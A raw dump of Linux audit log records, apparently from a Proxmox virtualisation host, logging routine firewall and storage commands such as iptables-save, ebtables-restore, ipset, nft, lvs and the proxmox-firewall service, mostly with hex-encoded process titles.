type=PROCTITLE msg=audit(1781964135.668:59746): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965655266,"@rawstring":"node=pve type=PATH msg=audit(1781965655.266:66536): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135662,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.662:59745): proctitle=\"ip6tables-save\""} {"@timestamp":1781965655266,"@rawstring":"node=pve type=PATH msg=audit(1781965655.266:66536): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.655:59744): proctitle=\"iptables-save\""} {"@timestamp":1781965655257,"@rawstring":"node=pve type=PATH msg=audit(1781965655.257:66535): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135649,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.649:59743): proctitle=\"ip6tables-save\""} {"@timestamp":1781965655257,"@rawstring":"node=pve type=PATH msg=audit(1781965655.257:66535): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135642,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.642:59742): proctitle=\"iptables-save\""} {"@timestamp":1781965655249,"@rawstring":"node=pve type=PATH msg=audit(1781965655.249:66534): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135639,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.639:59741): proctitle=\"ebtables-restore\""} {"@timestamp":1781965655249,"@rawstring":"node=pve type=PATH msg=audit(1781965655.249:66534): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135636,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.636:59740): proctitle=\"ebtables-restore\""} {"@timestamp":1781965655244,"@rawstring":"node=pve type=PATH msg=audit(1781965655.244:66533): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135630,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.630:59739): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965655244,"@rawstring":"node=pve type=PATH msg=audit(1781965655.244:66533): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135625,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.625:59738): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965655240,"@rawstring":"node=pve type=PATH msg=audit(1781965655.240:66532): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135620,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.620:59737): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965655240,"@rawstring":"node=pve type=PATH msg=audit(1781965655.240:66532): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.614:59736): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965655238,"@rawstring":"node=pve type=PATH msg=audit(1781965655.238:66531): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135609,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.609:59735): proctitle=697073657400726573746F7265"} {"@timestamp":1781965655238,"@rawstring":"node=pve type=PATH msg=audit(1781965655.238:66531): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135602,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.602:59734): proctitle=\"ip6tables-save\""} {"@timestamp":1781965655238,"@rawstring":"node=pve type=PATH msg=audit(1781965655.238:66530): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.597:59733): proctitle=\"iptables-save\""} {"@timestamp":1781965655233,"@rawstring":"node=pve type=PATH msg=audit(1781965655.233:66529): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135593,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.593:59732): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965655233,"@rawstring":"node=pve type=PATH msg=audit(1781965655.233:66529): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135589,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.589:59731): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965655233,"@rawstring":"node=pve type=PATH msg=audit(1781965655.233:66529): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.587:59730): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965655223,"@rawstring":"node=pve type=PATH msg=audit(1781965655.223:66528): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.587:59729): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965655223,"@rawstring":"node=pve type=PATH msg=audit(1781965655.223:66528): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.583:59728): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965655212,"@rawstring":"node=pve type=PATH msg=audit(1781965655.212:66527): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135576,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.576:59727): proctitle=\"ip6tables-save\""} {"@timestamp":1781965655212,"@rawstring":"node=pve type=PATH msg=audit(1781965655.212:66527): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135569,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.569:59726): proctitle=\"iptables-save\""} {"@timestamp":1781965655206,"@rawstring":"node=pve type=PATH msg=audit(1781965655.206:66526): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135564,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.564:59725): proctitle=69707365740073617665"} {"@timestamp":1781965655206,"@rawstring":"node=pve type=PATH msg=audit(1781965655.206:66526): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.558:59724): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965655194,"@rawstring":"node=pve type=PATH msg=audit(1781965655.194:66525): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964135551,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964135.551:59723): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965655194,"@rawstring":"node=pve type=PATH msg=audit(1781965655.194:66525): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964134329,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964134.329:59722): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965655180,"@rawstring":"node=pve type=PATH msg=audit(1781965655.180:66524): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964134295,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964134.295:59721): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965655180,"@rawstring":"node=pve type=PATH msg=audit(1781965655.180:66524): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964133053,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964133.053:59720): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965654243,"@rawstring":"node=pve type=PATH msg=audit(1781965654.243:66523): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964133053,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964133.053:59719): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965654243,"@rawstring":"node=pve type=PATH msg=audit(1781965654.243:66523): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964133053,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964133.053:59718): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965654220,"@rawstring":"node=pve type=PATH msg=audit(1781965654.220:66522): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964133044,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964133.044:59717): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965654220,"@rawstring":"node=pve type=PATH msg=audit(1781965654.220:66522): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964133044,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964133.044:59716): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965653842,"@rawstring":"node=pve type=PATH msg=audit(1781965653.842:66521): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964133044,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964133.044:59715): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965653842,"@rawstring":"node=pve type=PATH msg=audit(1781965653.842:66521): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964128036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964128.036:59714): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965653842,"@rawstring":"node=pve type=PATH msg=audit(1781965653.842:66520): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964128036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964128.036:59713): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965653842,"@rawstring":"node=pve type=PATH msg=audit(1781965653.842:66519): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964128036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964128.036:59712): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965653828,"@rawstring":"node=pve type=PATH msg=audit(1781965653.828:66518): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964128022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964128.022:59711): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965653828,"@rawstring":"node=pve type=PATH msg=audit(1781965653.828:66518): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964128022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964128.022:59710): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965653828,"@rawstring":"node=pve type=PATH msg=audit(1781965653.828:66517): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964128022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964128.022:59709): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965653828,"@rawstring":"node=pve type=PATH msg=audit(1781965653.828:66516): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125539,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.539:59708): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965648817,"@rawstring":"node=pve type=PATH msg=audit(1781965648.817:66515): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125535,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.535:59707): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965648817,"@rawstring":"node=pve type=PATH msg=audit(1781965648.817:66515): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125534,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.534:59706): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965648817,"@rawstring":"node=pve type=PATH msg=audit(1781965648.817:66514): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125534,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.534:59705): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965648815,"@rawstring":"node=pve type=PATH msg=audit(1781965648.815:66513): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125530,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.530:59704): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965648810,"@rawstring":"node=pve type=PATH msg=audit(1781965648.810:66512): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125523,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.523:59703): proctitle=\"ip6tables-save\""} {"@timestamp":1781965648810,"@rawstring":"node=pve type=PATH msg=audit(1781965648.810:66512): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125516,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.516:59702): proctitle=\"iptables-save\""} {"@timestamp":1781965648810,"@rawstring":"node=pve type=PATH msg=audit(1781965648.810:66511): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125509,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.509:59701): proctitle=\"ip6tables-save\""} {"@timestamp":1781965648810,"@rawstring":"node=pve type=PATH msg=audit(1781965648.810:66510): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.501:59700): proctitle=\"iptables-save\""} {"@timestamp":1781965646170,"@rawstring":"node=pve type=PATH msg=audit(1781965646.170:66508): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125498,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.498:59699): proctitle=\"ebtables-restore\""} {"@timestamp":1781965646170,"@rawstring":"node=pve type=PATH msg=audit(1781965646.170:66508): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.496:59698): proctitle=\"ebtables-restore\""} {"@timestamp":1781965646166,"@rawstring":"node=pve type=PATH msg=audit(1781965646.166:66507): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125491,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.491:59697): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965646166,"@rawstring":"node=pve type=PATH msg=audit(1781965646.166:66507): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125485,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.485:59696): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965646165,"@rawstring":"node=pve type=PATH msg=audit(1781965646.165:66506): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125479,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.479:59695): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965646165,"@rawstring":"node=pve type=PATH msg=audit(1781965646.165:66506): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125474,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.474:59694): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965646165,"@rawstring":"node=pve type=PATH msg=audit(1781965646.165:66505): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125467,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.467:59693): proctitle=697073657400726573746F7265"} {"@timestamp":1781965646159,"@rawstring":"node=pve type=PATH msg=audit(1781965646.159:66504): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125460,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.460:59692): proctitle=\"ip6tables-save\""} {"@timestamp":1781965646159,"@rawstring":"node=pve type=PATH msg=audit(1781965646.159:66504): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.453:59691): proctitle=\"iptables-save\""} {"@timestamp":1781965646159,"@rawstring":"node=pve type=PATH msg=audit(1781965646.159:66504): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125449,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.449:59690): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965646151,"@rawstring":"node=pve type=PATH msg=audit(1781965646.151:66503): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.444:59689): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965646151,"@rawstring":"node=pve type=PATH msg=audit(1781965646.151:66503): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.442:59688): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965646141,"@rawstring":"node=pve type=PATH msg=audit(1781965646.141:66502): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.442:59687): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965646141,"@rawstring":"node=pve type=PATH msg=audit(1781965646.141:66502): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125437,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.437:59686): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965646134,"@rawstring":"node=pve type=PATH msg=audit(1781965646.134:66501): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964125431,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964125.431:59685): 